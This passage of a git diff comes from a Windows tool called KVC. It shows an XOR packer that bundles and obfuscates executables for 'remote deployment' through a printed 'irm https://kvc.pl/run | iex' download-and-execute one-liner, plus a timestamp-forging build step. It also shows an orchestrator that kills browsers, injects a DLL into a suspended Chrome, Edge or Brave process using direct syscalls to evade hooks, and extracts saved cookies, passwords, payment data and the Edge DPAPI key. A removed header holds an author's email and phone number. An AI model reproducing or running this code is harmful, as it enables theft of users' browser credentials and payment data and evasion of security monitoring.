result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
result.append(f);
result.append(g);
return result;
}
// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet)
template<typename T>
class Result {
std::variant<T, std::string> data;
public:
Result(T value) : data(std::move(value)) {}
Result(std::string error) : data(std::move(error)) {}
bool has_value() const { return std::holds_alternative<T>(data); }
explicit operator bool() const { return has_value(); }
T& value() { return std::get<T>(data); }
const T& value() const { return std::get<T>(data); }
const std::string& error() const { return std::get<std::string>(data); }
T* operator->() { return &std::get<T>(data); }
const T* operator->() const { return &std::get<T>(data); }
};
// Specialization for void
template<>
class Result<void> {
std::optional<std::string> error_msg;
public:
Result() : error_msg(std::nullopt) {}
Result(std::string error) : error_msg(std::move(error)) {}
bool has_value() const { return !error_msg.has_value(); }
explicit operator bool() const { return has_value(); }
const std::string& error() const { return *error_msg; }
};
// Console colors
enum class Color : int {
Default = 7,
Green = 10,
Red = 12,
Yellow = 14
};
void set_color(Color color) {
#ifdef _WIN32
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
#else
switch (color) {
case Color::Green: std::cout << "\033[32m"; break;
case Color::Red: std::cout << "\033[31m"; break;
case Color::Yellow: std::cout << "\033[33m"; break;
case Color::Default: std::cout << "\033[0m"; break;
}
#endif
}
void reset_color() {
set_color(Color::Default);
}
// RAII color guard
class ColorGuard {
public:
explicit ColorGuard(Color new_color) {
set_color(new_color);
}
~ColorGuard() {
reset_color();
}
ColorGuard(const ColorGuard&) = delete;
ColorGuard& operator=(const ColorGuard&) = delete;
};
// XOR operation
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
for (size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.size()];
}
}
// Read entire file into vector
Result<std::vector<uint8_t>> read_file(const fs::path& path) {
if (!fs::exists(path)) {
return Result<std::vector<uint8_t>>(
concat("File '", path.string(), "' does not exist")
);
}
std::ifstream file(path, std::ios::binary);
if (!file) {
return Result<std::vector<uint8_t>>(
concat("Cannot open file '", path.string(), "'")
);
}
std::vector<uint8_t> data(
(std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>()
);
return data;
}
// Write data to file
Result<void> write_file(const fs::path& path, std::span<const uint8_t> data) {
std::ofstream file(path, std::ios::binary);
if (!file) {
return Result<void>(
concat("Cannot create file '", path.string(), "'")
);
}
file.write(reinterpret_cast<const char*>(data.data()), data.size());
if (!file) {
return Result<void>(
concat("Error writing to file '", path.string(), "'")
);
}
return Result<void>();
}
// Helper to read uint16_t from buffer
constexpr uint16_t read_uint16(std::span<const uint8_t> data, size_t offset) {
return static_cast<uint16_t>(data[offset]) |
(static_cast<uint16_t>(data[offset + 1]) << 8);
}
// Helper to read uint32_t from buffer
constexpr uint32_t read_uint32(std::span<const uint8_t> data, size_t offset) {
return static_cast<uint32_t>(data[offset]) |
(static_cast<uint32_t>(data[offset + 1]) << 8) |
(static_cast<uint32_t>(data[offset + 2]) << 16) |
(static_cast<uint32_t>(data[offset + 3]) << 24);
}
// Determine PE file length from buffer
std::optional<size_t> get_pe_file_length(std::span<const uint8_t> data, size_t offset = 0) noexcept {
try {
// Check if we have enough data for DOS header
if (data.size() < offset + 0x40) {
return std::nullopt;
}
// Check for MZ signature
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
return std::nullopt;
}
// Get e_lfanew from offset 0x3C
const uint32_t e_lfanew = read_uint32(data, offset + 0x3C);
const size_t pe_header_offset = offset + e_lfanew;
// Check if we have enough data for PE header
if (pe_header_offset + 6 > data.size()) {
return std::nullopt;
}
// Check for PE signature
if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
return std::nullopt;
}
// Get number of sections and size of optional header
const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6);
const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20);
// Calculate section table offset
const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;
// Check if we have enough data for section table
if (section_table_offset + number_of_sections * 40 > data.size()) {
return std::nullopt;
}
// Find the maximum end of section raw data
size_t max_end = 0;
for (uint16_t i = 0; i < number_of_sections; ++i) {
const size_t sh_offset = section_table_offset + i * 40;
const uint32_t size_of_raw = read_uint32(data, sh_offset + 16);
const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20);
if (pointer_to_raw == 0) continue;
const size_t end = pointer_to_raw + size_of_raw;
max_end = std::max(max_end, end);
}
// If we found section data, use it
if (max_end > 0) {
const size_t header_end = section_table_offset + number_of_sections * 40;
return std::max(max_end, header_end);
}
// Fallback: Use SizeOfHeaders from optional header
const size_t optional_header_offset = pe_header_offset + 24;
if (optional_header_offset + 64 <= data.size()) {
const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60);
if (size_of_headers > 0) {
return size_of_headers;
}
}
}
catch (...) {
return std::nullopt;
}
return std::nullopt;
}
// Find next MZ header in buffer
std::optional<size_t> find_next_mz_header(std::span<const uint8_t> data, size_t start_offset) {
constexpr std::array<uint8_t, 2> pattern = { 'M', 'Z' };
auto search_range = rng::subrange(
data.begin() + start_offset,
data.end()
);
auto result = rng::search(search_range, pattern);
if (result.empty()) {
return std::nullopt;
}
return std::distance(data.begin(), result.begin());
}
// Ask user Y/N question
bool ask_yes_no(std::string_view question) {
std::cout << question << " (Y/N): ";
std::string answer;
std::getline(std::cin, answer);
return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y');
}
// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat
Result<void> encode_files() {
std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n";
// Read both files
auto exe_result = read_file(KVC_PASS_EXE);
if (!exe_result) {
return Result<void>(exe_result.error());
}
auto dll_result = read_file(KVC_CRYPT_DLL);
if (!dll_result) {
return Result<void>(dll_result.error());
}
// Combine files
std::vector<uint8_t> combined_data;
combined_data.reserve(exe_result->size() + dll_result->size());
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end());
// Write raw file
if (auto result = write_file(KVC_RAW, combined_data); !result) {
return result;
}
// XOR encode the data
xor_data(combined_data, XOR_KEY);
// Write encoded file
if (auto result = write_file(KVC_DAT, combined_data); !result) {
return result;
}
std::cout << " -> Files combined -> " << KVC_RAW << "\n";
std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n";
return Result<void>();
}
// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_files() {
std::cout << "Decoding " << KVC_DAT << "...\n";
auto enc_result = read_file(KVC_DAT);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Write decoded raw file
if (auto result = write_file(KVC_RAW, dec_data); !result) {
return result;
}
// Try to determine the exact size of the first PE file
auto first_size = get_pe_file_length(dec_data, 0);
// Fallback if PE parsing failed
if (!first_size || *first_size >= dec_data.size()) {
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
first_size = find_next_mz_header(dec_data, search_start);
if (!first_size) {
// Ultimate fallback: don't split
first_size = dec_data.size();
}
}
// Split the files
if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) {
return result;
}
if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) {
return result;
}
std::cout << " -> Decoded -> " << KVC_RAW << "\n";
std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n";
return Result<void>();
}
// Build distribution package: kvc.exe + kvc.dat -> kvc.enc
Result<void> build_distribution() {
std::cout << "Building distribution package...\n";
// Check if kvc.dat exists
if (!fs::exists(KVC_DAT)) {
std::cout << " -> " << KVC_DAT << " not found.\n";
// Check if source files exist
if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) {
return Result<void>(
concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL)
);
}
// Ask if we should create it
if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) {
if (auto result = encode_files(); !result) {
return result;
}
} else {
return Result<void>("Operation cancelled by user");
}
}
// Read both files
auto exe_result = read_file(KVC_EXE);
if (!exe_result) {
return Result<void>(exe_result.error());
}
auto dat_result = read_file(KVC_DAT);
if (!dat_result) {
return Result<void>(dat_result.error());
}
// Combine files
std::vector<uint8_t> combined_data;
combined_data.reserve(exe_result->size() + dat_result->size());
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end());
// XOR encode the combined data
xor_data(combined_data, XOR_KEY);
// Write encoded distribution file
if (auto result = write_file(KVC_ENC, combined_data); !result) {
return result;
}
std::cout << " -> Distribution package created -> " << KVC_ENC << "\n";
std::cout << " -> Ready for remote deployment!\n";
return Result<void>();
}
// Decode distribution package: kvc.enc -> kvc.exe + kvc.dat
Result<void> decode_distribution() {
std::cout << "Decoding distribution package...\n";
auto enc_result = read_file(KVC_ENC);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Try to determine the exact size of kvc.exe
auto exe_size = get_pe_file_length(dec_data, 0);
// Fallback if PE parsing failed
if (!exe_size || *exe_size >= dec_data.size()) {
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
exe_size = find_next_mz_header(dec_data, search_start);
if (!exe_size) {
// Ultimate fallback: use half
exe_size = dec_data.size() / 2;
}
}
// Split the files
if (auto result = write_file(KVC_EXE, std::span(dec_data.data(), *exe_size)); !result) {
return result;
}
if (auto result = write_file(KVC_DAT, std::span(dec_data.data() + *exe_size, dec_data.size() - *exe_size)); !result) {
return result;
}
std::cout << " -> Distribution package decoded -> " << KVC_EXE << " + " << KVC_DAT << "\n";
return Result<void>();
}
// Decode everything: kvc.enc -> kvc.exe + kvc_pass.exe + kvc_crypt.dll
Result<void> decode_everything() {
std::cout << "Complete decoding of distribution package...\n";
// Check if kvc.enc exists
if (!fs::exists(KVC_ENC)) {
std::cout << " -> " << KVC_ENC << " not found.\n";
// Check if we can create it from existing files
if (fs::exists(KVC_EXE) && fs::exists(KVC_DAT)) {
if (ask_yes_no(concat("Create ", KVC_ENC, " from ", KVC_EXE, " and ", KVC_DAT, "?"))) {
if (auto result = build_distribution(); !result) {
return result;
}
} else {
return Result<void>("Operation cancelled by user");
}
} else {
return Result<void>(concat("File '", KVC_ENC, "' does not exist"));
}
}
auto enc_result = read_file(KVC_ENC);
if (!enc_result) {
return Result<void>(enc_result.error());
}
// XOR decode the data
std::vector<uint8_t> dec_data = std::move(enc_result.value());
xor_data(dec_data, XOR_KEY);
// Find first PE file (kvc.exe)
auto first_pe_size = get_pe_file_length(dec_data, 0);
if (!first_pe_size || *first_pe_size >= dec_data.size()) {
return Result<void>("Cannot determine first PE file size");
}
// Extract kvc.exe
std::vector<uint8_t> kvc_exe_data(dec_data.begin(), dec_data.begin() + *first_pe_size);
// The remaining data should be kvc.dat
std::vector<uint8_t> kvc_dat_data(dec_data.begin() + *first_pe_size, dec_data.end());
// Decode kvc.dat to get kvc_pass.exe and kvc_crypt.dll
xor_data(kvc_dat_data, XOR_KEY);
// Find the PE file in kvc.dat (kvc_pass.exe)
auto second_pe_size = get_pe_file_length(kvc_dat_data, 0);
if (!second_pe_size || *second_pe_size >= kvc_dat_data.size()) {
return Result<void>("Cannot determine second PE file size in kvc.dat");
}
// Write all files
if (auto result = write_file(KVC_EXE, kvc_exe_data); !result) {
return result;
}
if (auto result = write_file(KVC_PASS_EXE, std::span(kvc_dat_data.data(), *second_pe_size)); !result) {
return result;
}
if (auto result = write_file(KVC_CRYPT_DLL, std::span(kvc_dat_data.data() + *second_pe_size, kvc_dat_data.size() - *second_pe_size)); !result) {
return result;
}
std::cout << " -> Complete decoding successful!\n";
std::cout << " -> Extracted: " << KVC_EXE << ", " << KVC_PASS_EXE << ", " << KVC_CRYPT_DLL << "\n";
return Result<void>();
}
// Display menu
void display_menu() {
std::cout << "==================================================\n";
std::cout << "| FILE ENCODER/DECODER TOOL |\n";
std::cout << "==================================================\n";
std::cout << "| 1. ENCODE: kvc_pass.exe + kvc_crypt.dll |\n";
std::cout << "| -> kvc.raw + kvc.dat |\n";
std::cout << "| 2. DECODE: kvc.dat -> kvc.raw + |\n";
std::cout << "| kvc_pass.exe + kvc_crypt.dll |\n";
std::cout << "| 3. BUILD DISTRIBUTION: kvc.exe + kvc.dat |\n";
std::cout << "| -> kvc.enc |\n";
std::cout << "| 4. DECODE DISTRIBUTION: kvc.enc -> |\n";
std::cout << "| kvc.exe + kvc.dat |\n";
std::cout << "| 5. DECODE EVERYTHING: kvc.enc -> |\n";
std::cout << "| kvc.exe + kvc_pass.exe + |\n";
std::cout << "| kvc_crypt.dll |\n";
std::cout << "==================================================\n\n";
std::cout << "kvc.enc is used for remote installation via command:\n";
ColorGuard green(Color::Green);
std::cout << "irm https://kvc.pl/run | iex\n\n";
}
int main() {
display_menu();
std::cout << "Select operation (1-5): ";
int choice;
std::cin >> choice;
std::cin.ignore(); // Clear newline from buffer
Result<void> result = Result<void>("Invalid choice");
switch (choice) {
case 1: result = encode_files(); break;
case 2: result = decode_files(); break;
case 3: result = build_distribution(); break;
case 4: result = decode_distribution(); break;
case 5: result = decode_everything(); break;
default:
ColorGuard red(Color::Red);
std::cerr << "Invalid choice. Please select 1-5.\n";
return 1;
}
if (!result) {
ColorGuard red(Color::Red);
std::cerr << "Error: " << result.error() << "\n";
return 1;
}
return 0;
}

BIN
kvc/KvcXor.rc Normal file

Binary file not shown.

95
kvc/KvcXor.vcxproj Normal file
View File

@@ -0,0 +1,95 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{a905154d-f1ec-4821-9717-9f6d35f69f3f}</ProjectGuid>
<RootNamespace>KvcXor</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings" />
<ImportGroup Label="Shared" />
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props"
Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')"
Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\x64\Release\</OutDir>
<IntDir>$(SolutionDir)obj\$(ProjectName)\$(Configuration)\$(Platform)\</IntDir>
<TargetName>KvcXor</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<Optimization>MaxSpeed</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /GL /Brepro %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
<AdditionalOptions>/OPT:REF /OPT:ICF=5 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="KvcXor.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="KvcXor.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets" />
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="KvcXor.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

4
kvc/KvcXor.vcxproj.user Normal file
View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// OffsetFinder.cpp
#include "OffsetFinder.h"
#include "Utils.h"

446
kvc/OrchestratorCore.cpp Normal file
View File

@@ -0,0 +1,446 @@
// OrchestratorCore.cpp - Main orchestration and application entry point
// Coordinates process management, injection, and extraction workflow
#include "OrchestratorCore.h"
#include "BrowserProcessManager.h"
#include "InjectionEngine.h"
#include "CommunicationLayer.h"
#include "syscalls.h"
#include <iostream>
#include <algorithm>
#include <map>
#include <sstream>
namespace
{
constexpr const char* APP_VERSION = "1.0.1";
constexpr const char* SECURITY_MODULE_NAME = "kvc_crypt.dll";
}
std::string g_securityModulePath;
// Parses command-line arguments into configuration structure
std::optional<Configuration> Configuration::CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
{
Configuration config;
fs::path customOutputPath;
for (int i = 1; i < argc; ++i)
{
std::wstring_view arg = argv[i];
if (arg == L"--verbose" || arg == L"-v")
config.verbose = true;
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
customOutputPath = argv[++i];
else if (arg == L"--help" || arg == L"-h")
{
console.printUsage();
return std::nullopt;
}
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
config.browserType = arg;
else
{
console.Warn("Unknown or misplaced argument: " + Utils::WStringToUtf8(arg));
return std::nullopt;
}
}
if (config.browserType.empty())
{
console.printUsage();
return std::nullopt;
}
std::transform(config.browserType.begin(), config.browserType.end(),
config.browserType.begin(), ::towlower);
static const std::map<std::wstring, std::wstring> browserExeMap = {
{L"chrome", L"chrome.exe"},
{L"brave", L"brave.exe"},
{L"edge", L"msedge.exe"}
};
auto it = browserExeMap.find(config.browserType);
if (it == browserExeMap.end())
{
console.Error("Unsupported browser type: " + Utils::WStringToUtf8(config.browserType));
return std::nullopt;
}
config.browserProcessName = it->second;
BrowserPathResolver resolver(console);
config.browserDefaultExePath = resolver.resolve(config.browserProcessName);
if (config.browserDefaultExePath.empty())
{
console.Error("Could not find " + Utils::WStringToUtf8(config.browserType) +
" installation in Registry");
console.Info("Please ensure " + Utils::WStringToUtf8(config.browserType) +
" is properly installed");
return std::nullopt;
}
config.browserDisplayName = Utils::Capitalize(Utils::WStringToUtf8(config.browserType));
config.outputPath = customOutputPath.empty() ? fs::current_path() / "output" :
fs::absolute(customOutputPath);
return config;
}
// Orchestrates complete injection workflow: cleanup, injection, execution, termination
PipeCommunicator::ExtractionStats RunInjectionWorkflow(const Configuration& config, const Console& console)
{
std::vector<uint8_t> edgeDpapiKey;
// Edge-specific: Extract DPAPI key in orchestrator before process creation
if (config.browserType == L"edge")
{
// Try multiple possible Edge installation paths
std::vector<fs::path> possiblePaths = {
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge" / "User Data" / "Local State",
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Beta" / "User Data" / "Local State",
Utils::GetLocalAppDataPath() / "Microsoft" / "Edge Dev" / "User Data" / "Local State"
};
for (const auto& edgeLocalState : possiblePaths)
{
if (fs::exists(edgeLocalState))
{
edgeDpapiKey = DecryptEdgePasswordKeyWithDPAPI(edgeLocalState, console);
if (!edgeDpapiKey.empty())
{
break;
}
}
}
if (edgeDpapiKey.empty())
{
console.Warn("Could not extract Edge DPAPI key - passwords may not be available");
}
}
// Terminate processes holding database locks
KillBrowserNetworkService(config, console);
KillBrowserProcesses(config, console);
// Create suspended target process
TargetProcess target(config, console);
target.createSuspended();
// Establish named pipe communication
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
pipe.create();
// Inject security module and create remote thread
InjectionManager injector(target, console);
injector.execute(pipe.getName());
// Wait for module connection and send configuration
pipe.waitForClient();
pipe.sendInitialData(config.verbose, config.outputPath, edgeDpapiKey);
pipe.relayMessages();
// Cleanup
target.terminate();
return pipe.getStats();
}
// Processes all installed browsers sequentially
void ProcessAllBrowsers(const Console& console, bool verbose, const fs::path& outputPath)
{
if (verbose)
console.Info("Starting multi-browser security analysis...");
BrowserPathResolver resolver(console);
auto installedBrowsers = resolver.findAllInstalledBrowsers();
if (installedBrowsers.empty())
{
console.Error("No supported browsers found on this system");
return;
}
if (!verbose)
console.Info("Processing " + std::to_string(installedBrowsers.size()) + " browser(s):\n");
int successCount = 0;
int failCount = 0;
for (size_t i = 0; i < installedBrowsers.size(); ++i)
{
const auto& [browserType, browserPath] = installedBrowsers[i];
Configuration config;
config.verbose = verbose;
config.outputPath = outputPath;
config.browserType = browserType;
config.browserDefaultExePath = browserPath;
static const std::map<std::wstring, std::pair<std::wstring, std::string>> browserMap = {
{L"chrome", {L"chrome.exe", "Chrome"}},
{L"edge", {L"msedge.exe", "Edge"}},
{L"brave", {L"brave.exe", "Brave"}}
};
auto it = browserMap.find(browserType);
if (it != browserMap.end())
{
config.browserProcessName = it->second.first;
config.browserDisplayName = it->second.second;
}
if (verbose)
{
console.Info("\n[Browser " + std::to_string(i + 1) + "/" +
std::to_string(installedBrowsers.size()) +
"] Processing " + config.browserDisplayName);
}
try
{
auto stats = RunInjectionWorkflow(config, console);
successCount++;
if (verbose)
{
console.Success(config.browserDisplayName + " analysis completed");
}
else
{
DisplayExtractionSummary(config.browserDisplayName, stats, console, false,
config.outputPath);
if (i < installedBrowsers.size() - 1)
std::cout << std::endl;
}
}
catch (const std::exception& e)
{
failCount++;
if (verbose)
{
console.Error(config.browserDisplayName + " analysis failed: " + std::string(e.what()));
}
else
{
console.Info(config.browserDisplayName);
console.Error("Analysis failed");
if (i < installedBrowsers.size() - 1)
std::cout << std::endl;
}
}
}
std::cout << std::endl;
console.Info("Completed: " + std::to_string(successCount) + " successful, " +
std::to_string(failCount) + " failed");
}
// Displays formatted extraction summary with statistics
void DisplayExtractionSummary(const std::string& browserName,
const PipeCommunicator::ExtractionStats& stats,
const Console& console, bool singleBrowser,
const fs::path& outputPath)
{
if (singleBrowser)
{
if (!stats.aesKey.empty())
console.Success("AES Key: " + stats.aesKey);
std::string summary = BuildExtractionSummary(stats);
if (!summary.empty())
{
console.Success(summary);
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
}
else
{
console.Warn("No data extracted");
}
}
else
{
console.Info(browserName);
if (!stats.aesKey.empty())
console.Success("AES Key: " + stats.aesKey);
std::string summary = BuildExtractionSummary(stats);
if (!summary.empty())
{
console.Success(summary);
console.Success("Stored in " + Utils::path_to_api_string(outputPath / browserName));
}
else
{
console.Warn("No data extracted");
}
}
}
// Builds human-readable summary from extraction statistics
std::string BuildExtractionSummary(const PipeCommunicator::ExtractionStats& stats)
{
std::stringstream summary;
std::vector<std::string> items;
if (stats.totalCookies > 0)
items.push_back(std::to_string(stats.totalCookies) + " cookies");
if (stats.totalPasswords > 0)
items.push_back(std::to_string(stats.totalPasswords) + " passwords");
if (stats.totalPayments > 0)
items.push_back(std::to_string(stats.totalPayments) + " payments");
if (!items.empty())
{
summary << "Extracted ";
for (size_t i = 0; i < items.size(); ++i)
{
if (i > 0 && i == items.size() - 1)
summary << " and ";
else if (i > 0)
summary << ", ";
summary << items[i];
}
summary << " from " << stats.profileCount << " profile"
<< (stats.profileCount != 1 ? "s" : "");
}
return summary.str();
}
// Application entry point
int wmain(int argc, wchar_t* argv[])
{
bool isVerbose = false;
std::wstring browserTarget;
fs::path outputPath;
// Locate security module in current directory or System32
auto findSecurityModule = []() -> std::string {
if (fs::exists(SECURITY_MODULE_NAME))
return SECURITY_MODULE_NAME;
wchar_t systemDir[MAX_PATH];
if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
std::string systemPath = Utils::WStringToUtf8(systemDir) + "\\" + SECURITY_MODULE_NAME;
if (fs::exists(systemPath))
return systemPath;
}
return "";
};
g_securityModulePath = findSecurityModule();
if (g_securityModulePath.empty())
{
std::wcerr << L"Error: " << SECURITY_MODULE_NAME
<< L" not found in current directory or System32!" << std::endl;
return 1;
}
// Quick argument parsing for early options
for (int i = 1; i < argc; ++i)
{
std::wstring_view arg = argv[i];
if (arg == L"--verbose" || arg == L"-v")
isVerbose = true;
else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc)
outputPath = argv[++i];
else if (arg == L"--help" || arg == L"-h")
{
Console(false).displayBanner();
Console(false).printUsage();
return 0;
}
else if (browserTarget.empty() && !arg.empty() && arg[0] != L'-')
browserTarget = arg;
}
Console console(isVerbose);
console.displayBanner();
// Verify SQLite library availability
if (!CheckWinSQLite3Available())
{
console.Warn("winsqlite3.dll not available - trying fallback to sqlite3.dll");
if (!fs::exists("sqlite3.dll"))
{
console.Error("Neither winsqlite3.dll nor sqlite3.dll available");
return 1;
}
}
if (browserTarget.empty())
{
console.printUsage();
return 0;
}
// Initialize direct syscalls
if (!InitializeSyscalls(isVerbose))
{
console.Error("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked.");
return 1;
}
// Ensure output directory exists
if (outputPath.empty())
outputPath = fs::current_path() / "output";
std::error_code ec;
if (!fs::exists(outputPath)) {
fs::create_directories(outputPath, ec);
if (ec) {
console.Error("Failed to create output directory: " +
Utils::path_to_api_string(outputPath) + ". Error: " + ec.message());
return 1;
}
}
// Process browser(s)
if (browserTarget == L"all")
{
try
{
ProcessAllBrowsers(console, isVerbose, outputPath);
}
catch (const std::exception& e)
{
console.Error(e.what());
return 1;
}
}
else
{
